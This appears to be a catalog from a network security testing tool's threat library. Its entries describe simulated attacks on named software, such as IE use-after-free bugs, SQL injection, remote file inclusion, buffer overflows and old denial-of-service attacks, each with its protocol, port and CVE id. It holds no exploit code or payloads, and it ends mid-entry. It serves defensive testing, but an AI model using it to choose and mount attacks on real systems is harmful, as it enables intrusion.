Detailed Description:	This attack causes an integer overflow in the VML parser of Internet Explorer. It comes from the virtual server in the form of a malicious webpage. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0024
Threat Package:	Standard
Threat File Name:	FSC20060404-13_UltraVNC_VNCLog_Buffer_Overflow_IPv6.xml
Executive Description:	UltraVNC VNCLog Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the UltraVNC server. The vulnerability is caused by improper validation of user supplied requests sent to the affected component. A successful attack can result in the termination of the UltraVNC service. (IPv6 Version)
Protocol Type:	VNC/IPv6
CVEID:	CVE-2006-1652
Threat Package:	Standard
Threat File Name:	InternetExplorerMediaBar_IPv6.xml
Executive Description:	Internet Explorer MS03-040 Media Bar Resource Injection (IPv6 Version)
Detailed Description:	This threat attempts to download a file and execute it through the media bar in Internet Explorer. Can allow a malicious web site to run arbitrary code on the host. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0604
OSVDB:	3067
Threat Package:	Standard
Threat File Name:	lupper16_IPv6.xml
Executive Description:	Lupper Worm l6 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	wuftpd_globbing.xml
Executive Description:	WU-FTP Heap Overflow
Detailed Description:	This threat causes the wu-ftpd daemon to crash by sending mismatched curly brackets. This causes a heap overflow and crash, which can lead to potential code execution.
Protocol Type:	FTP
CVEID:	CVE-2001-0550

OSVDB:	679
Threat Package:	Standard
Threat File Name:	WinNuke_IPv6.xml
Executive Description:	WinNuke (IPv6 Version)
Detailed Description:	This threat crashes Windows machines running Windows 95 and Windows NT 4.0 and prior. This threat sends a large payload to TCP port 139. (IPv6 Version)
Protocol Type:	NETBIOS_SS/IPv6
CVEID:	CVE-1999-0153
OSVDB:	1666
Threat Package:	Standard
Threat File Name:	bwired_sqli.xml
Executive Description:	bwired (index.php newsID) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Bwired a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3976
Threat Package:	Standard
Threat File Name:	precisionID_activex_fileoverwrite.xml
Executive Description:	PrecisionID Barcode PrecisionID_Barcode.DLL ActiveX Control Arbitrary File Overwrite Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the PrecisionID ActiveX application, resulting in the overwriting of arbitrary files. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	dproxy_bof.xml
Executive Description:	DProxy DNS_Decode_Reverse_Name Buffer-Overflow Vulnerability
Detailed Description:	This threat uses a malicious DNS packet to cause a stack overflow in DProxy, possibly resulting in the execution of arbitrary code. DProxy is DNS server that typically listens on udp port 53.
Protocol Type:	DNS
CVEID:	CVE-2007-1866
Threat Package:	Standard
Threat File Name:	TSL20130819-02_PHP_SSL_Certificate_Validation_Security_Bypass_IPv6.xml
Executive Description:	PHP SSL Certificate Validation Security Bypass [IPv6, Version]
Detailed Description:	A vulnerability has been reported in PHP that could allow attackers to bypass security restrictions on a vulnerable system. The vulnerability is due to an error when handling null characters in the Subject Alternative Name field of an X.509 certificate. An unprivileged, remote attacker can exploit this flaw by sending a malicious certificate. Successful exploitation could result in a security bypass.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-4248
OSVDB:	96298
Threat File Name:	TSL20150714-13_Microsoft_Internet_Explorer_CVE_2015_2419_JScript9_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2419 JScript9 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error in jscript9.dll when handling certain objects in memory. A remote attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2419
Threat File Name:	telnetHeap.xml
Executive Description:	Telnet Heap Overflow Attack
Detailed Description:	This attack is a crash which can be potentially used to cause remote code execution on a host connecting with telnet. This threat is a client attack that comes from the virtual server.
Protocol Type:	Telnet
CVEID:	CVE-2005-0468
OSVDB:	15093
Threat Package:	Standard
Threat File Name:	linux_natsnmp_dos_IPv6.xml
Executive Description:	Linux Kernel SNMP NAT Helper Remote DoS (IPv6 Version)
Detailed Description:	This threat sends a specially crafted snmp packet to trigger a denial of service condition in the SNMP NAT module of the Linux Kernel. The NAT SNMP module typically runs on udp ports 161 and 162. (IPv6 Version)
Protocol Type:	SNMP/IPv6
CVEID:	CVE-2006-2444
OSVDB:	25750
Threat Package:	Standard
Threat File Name:	TSL20130417-23_Oracle_Java_sun.awt.image.ImageRepresentation.setPixels_Integer_Overflow_IPv6.xml
Executive Description:	Oracle Java sun.awt.image.ImageRepresentation.setPixels Integer Overflow [IPv6, Version]
Detailed Description:	An integer overflow vulnerability has been reported in Oracle Java. The vulnerability is due to improper validation of image and raster dimensions in the sun.awt.image.ImageRepresentation.setPixels method. A remote attacker can exploit this vulnerability by enticing the target user to visit a specially crafted web page. Successful exploitation of this vulnerability can allow execution of arbitrary code on a target system.
Protocol Type:	IPv6, HTTP,HTTPS
CVEID:	CVE-2013-2420
OSVDB:	92339

Threat File Name:	TSL20130605-12_Apache_Struts_Wildcard_Matching_OGNL_Code_Execution.xml
Executive Description:	Apache Struts Wildcard Matching OGNL Code Execution
Detailed Description:	A code execution vulnerability exists in Apache Struts Object-Graph Navigation Language (OGNL) expressions. The vulnerability is due to the way action names passed via Wildcard Matching to the server are evaluated by OGNL and allows arbitrary OGNL expressions encoded in a URI to be evaluated bypassing both Struts and OGNL library protections. A remote attacker could exploit this vulnerability by sending crafted HTTP requests to a server using a vulnerable version of the software. Successful exploitation will allow an attacker to execute arbitrary OGNL code in the context of the server.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2013-2135
OSVDB:	93969
Threat File Name:	TSL20140813-05_Microsoft_Internet_Explorer_CVE-2014-4050_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-4050 Use After Free
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. These vulnerability is due to an issue while handling first-letter element styling when processing HTML and script code. A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-4050
OSVDB:	109959
Threat File Name:	zixforum_sqli_IPv6.xml
Executive Description:	Zix Forum 1.12 SQL Injection (main.asp) (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP URL containing an SQL statement which is executed by the server that extracts the username and password of administrator in clear text. Zix Forum is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2541
Threat Package:	Standard
Threat File Name:	TSL20170127-05_OpenSSL_ChaCha20-Poly1305_and_RC4-MD5_Integer_Underflow.xml
Executive Description:	OpenSSL ChaCha20-Poly1305 and RC4-MD5 Integer Underflow
Detailed Description:	An integer underflow vulnerability leading to an out of bounds read has been reported in OpenSSL. This vulnerability is due to the handling of truncated blocks in 32-bit versions of OpenSSL when using the ChaCha20-Poly1305 cipher in OpenSSL 1.1.x and the RC4-MD5 cipher in OpenSSL 1.0.x. A remote attacker could exploit this vulnerability by sending a crafted packet to an affected application. Successful exploitation results in denial of service conditions on the affected service.
Protocol Type:	SSL, TLS, HTTPS, SMTP, SMTPS, SIPS
CVEID:	CVE-2017-3731
Threat File Name:	coppermine_xss_b_IPv6.xml
Executive Description:	Coppermine <= 1.4.12 Cross Site Scripting and Local File Inclusion (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. Coppermine is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	site-assistant_rfi_IPv6.xml
Executive Description:	Site-Assistant <= v0990(paths[version])Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Site-Assistant is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0867
Threat Package:	Standard
Threat File Name:	TSL20110510-02_Microsoft_PowerPoint_TextHeaderAtom_Memory_Corruption.xml
Executive Description:	Microsoft PowerPoint TextHeaderAtom Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft PowerPoint. The vulnerability is due to memory corruption while processing PowerPoint files that contain a specially crafted TextHeaderAtom record. An attacker can exploit this vulnerability by enticing a user to open a specially crafted PowerPoint file. This can result in code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, FTP
CVEID:	CVE-2011-1269
Threat File Name:	FSC20090602-02_Apple_QuickTime_Image_Description_Atom_Sign_Extension_Memory_Corruption.xml
Executive Description:	Apple QuickTime Image Description Atom Sign Extension Memory Corruption
Detailed Description:	There exists a sign extension based memory corruption vulnerability in Apple QuickTime. The vulnerability is due to improper processing of Image Description Atoms in Apple Video files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted QuickTime movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In an attack case where code injection is not successful, the affected Apple QuickTime process will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0955
Threat Package:	Standard
Threat File Name:	webslider_rfi.xml
Executive Description:	Web Slider 0.6(path)Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Web Slider is a web application that typically listens on port 80.

Protocol Type:	HTTP
CVEID:	CVE-2007-2067
Threat Package:	Standard
Threat File Name:	phpnuke_sqli.xml
Executive Description:	PHPNuke SQL injection vulnerability
Detailed Description:	This threat sends an HTTP query containing an SQL statement which is executed by the server with its permissions. PHPNuke is a web application which typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	FSC20090625-04_Unisys_Business_Information_Server_Stack_Buffer_Overflow.xml
Executive Description:	Unisys Business Information Server Stack Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in Unisys Business Information Server that could allow remote attackers to execute arbitrary code on a vulnerable system. The flaw is due to a boundary error when processing crafted packets sent to the server. Remote attackers could exploit this vulnerability by sending a crafted packet to a TCP port. In an attack case where code injection is not successful, the affected service will terminate resulting in a Denial of Service condition. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the service, which is SYSTEM by default.
Protocol Type:	Unisys BIS Protocol
CVEID:	CVE-2009-1628
Threat Package:	Standard
Threat File Name:	fprot_ace_dos_IPv6.xml
Executive Description:	F-PROT Antivirus ACE Remote Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in F-PROT Antivirus's handling of ACE files leading to a denial of service condition. F-PROT Antivirus is a client application that scans for malicious software from varied locations. This threat uses a web server typically listening on port 80 as a transmission vector. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	googleapp_cmi.xml
Executive Description:	Google Appliance ProxyStyleSheet Command Execution
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing a URL path to a remote file that can be executed. The google search appliance is an application running on a hardware appliance that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3758
OSVDB:	20981
Threat Package:	Standard
Threat File Name:	ms_ani_cursor_bof.xml
Executive Description:	Microsoft Windows Cursor And Icon ANI Format Handling Remote Buffer Overflow Vulnerability
Detailed Description:	This threat leverages a stack buffer-overflow vulnerability in NT based Microsoft Windows OSs via a html page containing malformed ANI cursor or icon files. The threat emulates web server that listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1765
OSVDB:	33629
Threat Package:	Standard
Threat File Name:	wingate_bof_IPv6.xml
Executive Description:	QBik Wingate 6.1.1.1077 (POST) Remote Buffer Overflow Exploit (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP POST command with an excessive length causing a stack overflow condition. WinGate is an HTTP proxy daemon which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2926
Threat Package:	Standard
Threat File Name:	FSC20080408-03_HP_OpenView_Network_Node_Manager_Ovalarmsrv_Service_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager Ovalarmsrv Service Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in HP OpenView Network Node Manager Ovalarmsrv Service. The flaw is due to a boundary error when processing user requests. A remote unauthenticated attacker can send a crafted request to the target host to exploit this vulnerability. Successful attack could allow for arbitrary code being injected and executed with the privileges of the affected service, which is normally System on Windows platforms.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	TSL20121016-02_Nginx_Location_NTFS_Extended_Attributes_Security_Bypass_IPv6.xml
Executive Description:	Nginx Location NTFS Extended Attributes Security Bypass(IPv6_Version)
Detailed Description:	A security bypass vulnerability has been reported in Nginx. The vulnerability is due to an error when resources defined by the location directive are accessed via an HTTP request containing directory names with NTFS extended attributes.A remote, unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted request to a vulnerable instance of Nginx. This can result in disclosure of sensitive information.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-4963
OSVDB:	84339
Threat File Name:	FSC20091013-30_Microsoft_Windows_GDIplus_PNG_tEXt_Chunk_Processing_Integer_Overflow.xml
Executive Description:	Microsoft Windows GDIplus PNG tEXt Chunk Processing Integer Overflow

Detailed Description:	An integer overflow vulnerability exists in Microsoft Windows GDI+. The vulnerability is due to lack of input validation when Microsoft Windows GDI+ handles PNG files. A remote attacker can exploit this vulnerability by enticing the target to open a specially crafted PNG file. Successful exploitation would allow for arbitrary code injection and execution in the security context of the logged in user. In such a case, the behaviour of the target is dependent on the intention of the malicious code. In the case where code execution is not successful, the application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/MMS/POP3/RTSP/SMB/CIFS/SMTP
CVEID:	CVE-2009-2501
Threat Package:	Standard
Threat File Name:	ms05-021_part1_IPv6.xml
Executive Description:	MS05-021 Exchange Heap Overflow Part 1 (IPv6 Version)
Detailed Description:	This threat attempts to cause a heap overflow on a Microsoft Exchange server. This can be used to execute remote code on the server. This threat targets the SMTP service of exchange which listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-0560
OSVDB:	15467
Threat Package:	Standard
Threat File Name:	FSC20100610-01_Microsoft_Windows_Help_And_Support_Center_Trusted_Document_Whitelist_Bypass_IPv6.xml
Executive Description:	Microsoft Windows Help And Support Center Trusted Document Whitelist Bypass (IPv6 Version)
Detailed Description:	A policy bypass vulnerability exists in Microsoft Windows Help And Support Center. The vulnerability is due to insufficient input validation of hcp:// URIs. Remote unauthenticated attackers can exploit this vulnerability by enticing a target user to open a maliciously crafted URI. In scenarios where policy bypass is successful, an attacker can execute arbitrary code within the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP/IPv6
CVEID:	CVE-2010-1885
Threat Package:	Standard
Threat File Name:	TSL20150310-36_Microsoft_Internet_Explorer_CVE-2015-0100_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-0100 Use After Free IPv6 version.
Detailed Description:	A use after free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an issue with handling certain objects in memory. A remote unauthenticated attacker could exploit this vulnerability by enticing a user into opening a specially crafted web page. Successful exploitation could lead to arbitrary code execution under the security context of the browser process.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2015-0100
OSVDB:	119346
Threat File Name:	TSL20130417-23_Oracle_Java_sun.awt.image.ImageRepresentation.setPixels_Integer_Overflow.xml
Executive Description:	Oracle Java sun.awt.image.ImageRepresentation.setPixels Integer Overflow
Detailed Description:	An integer overflow vulnerability has been reported in Oracle Java. The vulnerability is due to improper validation of image and raster dimensions in the sun.awt.image.ImageRepresentation.setPixels method. A remote attacker can exploit this vulnerability by enticing the target user to visit a specially crafted web page. Successful exploitation of this vulnerability can allow execution of arbitrary code on a target system.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-2420
OSVDB:	92339
Threat File Name:	wordpress_rfi.xml
Executive Description:	myGallery 1.2.1(myPath)Remote File Include Vulnerability
Detailed Description:	This threat demonstrates a standard remote file inclusion flaw against mygallerybrowser.php's myPath argument, this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	jaf_cms_rfi.xml
Executive Description:	JAF CMS Remote file include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.JAF CMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170531-14_Microsoft_Windows_XP_and_Server_2003_RDP_CVE-2017-0176_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Windows XP and Server 2003 RDP CVE-2017-0176 Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability has been reported in Remote Desktop on Microsoft Windows XP and Server 2003. The vulnerability is due to a lack of bounds checking while copying a smart card file data. A remote attacker can exploit this vulnerability by sending a crafted request to the target system. Successful exploitation results in arbitrary code execution under the context of SYSTEM.
Protocol Type:	RDP
CVEID:	CVE-2017-0176
Threat File Name:	mcafee_activex_sof.xml
Executive Description:	Mc Afee Viruscan Stack Overflow v10.0.21
Detailed Description:	This threat demonstrates a buffer overflow against an ActiveX component through its GetUserRegisteredForBackend function, this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20130207-01_IBM_Java_Multiple_Packages_Sandbox_Breach.xml
Executive Description:	IBM Java Multiple Packages Sandbox Breach

Detailed Description:	A sandbox breach vulnerability exists in IBM Java. The vulnerability is due to insecure use of certain methods in java.lang.class by IBM Java packages. An unauthenticated remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. Successful exploitation can result in the execution of arbitrary Java code outside the sandbox.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-4822
OSVDB:	87302
Threat File Name:	ipv6_SymantecNetbios1.xml
Executive Description:	IPv6 Symantec Firewall NetBIOS Buffer Overflow
Detailed Description:	This threat sends a corrupted NetBIOS answer causing a heap overflow in Symantec's Firewall software. In order for this threat to work the user must target an open, listening UDP port (for instance, port 137) and allow this traffic through the firewall.
Protocol Type:	NETBIOS_NS
Threat Package:	Standard
Threat File Name:	TSL20150709-03_OpenSSL_Alternative_Chains_Certificate_Forgery_Policy_Bypass_IPv6.xml
Executive Description:	OpenSSL Alternative Chains Certificate Forgery Policy Bypass IPv6 version
Detailed Description:	A policy bypass vulnerability has been reported in OpenSSL. This is due to incorrectly implemented certificate chain verification, where forged certificates signed by certain non-CA leaf certificates are treated as valid by vulnerable versions of OpenSSL. An attacker could use a crafted certificate chain to bypass TLS certificate validation checks in OpenSSL client or server applications. Successful exploitation could allow a remote attacker to bypass authentication by impersonating users or services. Tester should set variable \$destPort to 443 before test.
Protocol Type:	TLS/DTLS/HTTPS/SMTP/SMTPS/SIPS.IPv6
CVEID:	CVE-2015-1793
Threat File Name:	FSC20080222-03_Novell_iPrint_Client_ActiveX_Control_ExecuteRequest_Buffer_Overflow.xml
Executive Description:	Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Novell iPrint Client for Windows. The flaw is due to boundary error in certain method of ActiveX control shipped with the product. A remote attacker can exploit this vulnerability by persuading the target user to view a malicious web page. Successful attack could allow for arbitrary code execution with privileges of the currently logged on user.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	draw_office_remote_overwrite.xml
Executive Description:	Draw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Unsafe Method Vulnerability
Detailed Description:	This threat demonstrates a flaw in the Draw Office Viewer ActiveX application, that results in the deletion of arbitrary files. This threat is delivered via a malicious web page, accessible via port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3168
Threat Package:	Standard
Threat File Name:	TSL20130403-08_McAfee_Virtual_Technician_ActiveX_Control_Insecure_Method_Exposure.xml
Executive Description:	McAfee Virtual Technician ActiveX Control Insecure Method Exposure
Detailed Description:	An insecure method exposure vulnerability has been reported in McAfee Virtual Technician. The vulnerability is due to exposing the Save() method in an ActiveX control defined in the McHealthCheck.dll, which allows creating and overwriting arbitrary files on the vulnerable system with an XML file. Remote attackers can exploit this vulnerability by enticing a target user to open a crafted web page. Successful exploitation could result in corruption of files which might lead to a denial-of-service condition.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-5879
OSVDB:	91700
Threat File Name:	FSC20080115-25_Apple_QuickTime_Image_Descriptor_Atom_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Apple QuickTime Image Descriptor Atom Parsing Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Apple QuickTime application. The vulnerability is due to improper checking the Atom size field of the idsc atom in the QTIF image file. A remote attacker may exploit this vulnerability by providing a malicious QTIF image file to the target user. Potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0033
Threat Package:	Standard
Threat File Name:	TSL20161102-06_Adobe_Reader_DC_JPEG2000_CVE-2016-7854_Out-of-Bounds_Read_IPv6.xml
Executive Description:	Adobe Reader DC JPEG2000 CVE-2016-7854 Out-of-Bounds Read (IPv6 Version)
Detailed Description:	An out-of-bounds read vulnerability has been reported in Adobe Acrobat and Reader. The vulnerability is due to improper handling of JPEG2000 images. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted webpage or PDF document. Successful exploitation would allow the attacker to gain sensitive information that may help in further attacks.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP, IPv6
CVEID:	CVE-2016-7854
Threat File Name:	openvmmps_fs.xml
Executive Description:	OpenVMPS Logging Function Format String
Detailed Description:	This threat sends a malformed packet to the OpenVMPS server which triggers a format string flaw within a logging function allowing remote execution. OpenVMPS is a vlan policy manager and typically listens on port 1589.
Protocol Type:	Proprietary
CVEID:	CVE-2005-4714
OSVDB:	19910
Threat File Name:	TSL20140207-01_Poster_Software_PUBLISH-iT_PUI_File_Processing_Buffer_Overflow.xml

Executive Description:	Poster Software PUBLISH-IT PUI File Processing Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Poster Software PUBLISH-IT. The vulnerability is due to insufficient validation on the length of entry names in a "styl" record when processing PUI files. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a malicious PUI file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2014-0980
OSVDB:	102911
Threat File Name:	TSL20130312-02_Microsoft_SharePoint_Server_Cross-Site_Scripting_IPv6.xml
Executive Description:	Microsoft SharePoint Server Cross-Site Scripting(IPv6 Version)
Detailed Description:	A cross-site scripting (XSS) vulnerability has been reported in Microsoft SharePoint. The vulnerability is due to a lack of validation of Javascript elements contained within specially crafted site content. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to view crafted web content (access to which is usually restricted to SharePoint administrators). A successful attack may result in the execution of script code in the target user's browser under the context of the affected SharePoint site.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-0083
OSVDB:	91150
Threat File Name:	msoffice_activex_bof_IPv6.xml
Executive Description:	Microsoft Office MSDataSourceControl ActiveX Control Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the MSDataSourceControl ActiveX Control application, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3282
Threat Package:	Standard
Threat File Name:	FSC20100413-26_Microsoft_Windows_SMB_Client_Message_Size_Vulnerability.xml
Executive Description:	Microsoft Windows SMB Client Message Size Vulnerability
Detailed Description:	A remote code execution vulnerability exists in Microsoft Windows SMB Client. The vulnerability is due to improper validation of certain SMB fields when parsing transaction responses. Remote unauthenticated attackers could exploit this vulnerability by enticing a user to connect to a malicious SMB server and sending a specially crafted SMB response to the target machine. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the operating system kernel (Ring 0). Code injection that does not result in execution could crash the target system, and result in a Denial of Service condition.
Protocol Type:	SMB
CVEID:	CVE-2010-0477
Threat Package:	Standard
Threat File Name:	cisco_ip_phone_dos_IPv6.xml
Executive Description:	Cisco IP Phone Denial of Service (IPv6 Version)
Detailed Description:	This threat causes a denial of service on Cisco IP Phones by requesting a high streaming statistic number. This is done by sending a HTTP GET request to port 80 on the phone. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0882
OSVDB:	14855
Threat Package:	Standard
Threat File Name:	gamesitescript_sql_IPv6.xml
Executive Description:	GameSiteScript <= 3.1 (profile id) Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. GameSiteScript is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3631
Threat Package:	Standard
Threat File Name:	TSL20140128-07_MW6_Technologies_Aztec_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	MW6 Technologies Aztec ActiveX Control Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in MW6 Technologies Aztec ActiveX Control. The vulnerability is due to improperly handled user input in the 'Data' parameter. A remote attacker can exploit this vulnerability by crafting a malicious HTML document causing a buffer overflow. Successful exploitation could lead to code execution in the security context of the affected user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-6040
OSVDB:	102323
Threat File Name:	TSL20170313-04_HPE_Intelligent_Management_Center_accessMgrServlet_Insecure_Deserialization_IPv6.xml
Executive Description:	HPE Intelligent Management Center accessMgrServlet Insecure Deserialization (IPv6 Version)
Detailed Description:	An insecure deserialization vulnerability has been reported in HPE Intelligent Management Center. The vulnerability is due to deserialization of untrusted data by the accessMgrServlet while having vulnerable classes in the code path. A remote, unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted serialized object. Successful exploitation results in arbitrary code execution under the context of the SYSTEM or root user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-5790
Threat File Name:	smailHeap.xml
Executive Description:	SMail Heap Overflow
Detailed Description:	This is an attempt to cause a heap overflow in the SMail daemon. SMail is a SMTP server for Unix based machines, much like Sendmail. It listens on port 25.
Protocol Type:	SMTP

CVEID:	CVE-2005-0892
Threat Package:	Standard
Threat File Name:	RoseAttack_IPv6.xml
Executive Description:	Rose Attack (IPv6 Version)
Detailed Description:	This threat is a denial of service against the fragmentation reassembly code in Windows. It causes the target to computer to reject further fragments from other sources for a window time of approximately 2 minutes. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2004-0744
OSVDB:	8431
Threat Package:	Standard
Threat File Name:	FSC20091214-01_HP_OpenView_Network_Node_Manager_ovalarm.exe_Accept-Language_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager ovalarm.exe Accept-Language Buffer Overflow
Detailed Description:	A stack buffer overflow exists in HP OpenView Network Node Manager (NNM) CGI program ovalarm.exe. The vulnerability is due to a boundary error when processing the Accept-Language HTTP header and the OvAcceptLang cookie value in a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server. In an attack scenario where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-4179
Threat Package:	Standard
Threat File Name:	exim_spa.xml
Executive Description:	EXIM SPA Buffer Overflow
Detailed Description:	This threat attempts to cause code execution on the EXIM MTA daemon. EXIM is a mailserver, and typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2005-0022
OSVDB:	12727
Threat Package:	Standard
Threat File Name:	FSC20090306-05_Mozilla_Firefox_JavaScript_Array_splice_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Firefox JavaScript Array.splice Memory Corruption (IPv6 Version)
Detailed Description:	A vulnerability exists in Mozilla Firefox. The vulnerability is due to insufficient validation when executing malicious JavaScript code. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. In a successful attack that arbitrary code being injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious document. (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2009-0773
Threat Package:	Standard
Threat File Name:	FSC20080722-05_Sun_Java_Web_Start_JNLP_java-vm-args_Heap_Buffer_Overflow.xml
Executive Description:	Sun Java Web Start JNLP java-vm-args Heap Buffer Overflow
Detailed Description:	There exists a heap buffer overflow vulnerability in Sun Java Web Start. The vulnerability is due to improper bound checking while handling XML based JNLP files. A remote unauthenticated attacker can exploit this vulnerability by enticing the target user to open a crafted JNLP file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3111
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatsToDELETE_IPv6.xml
Executive Description:	Fuzz HTTP DELETE appended by %s (IPv6 Version)
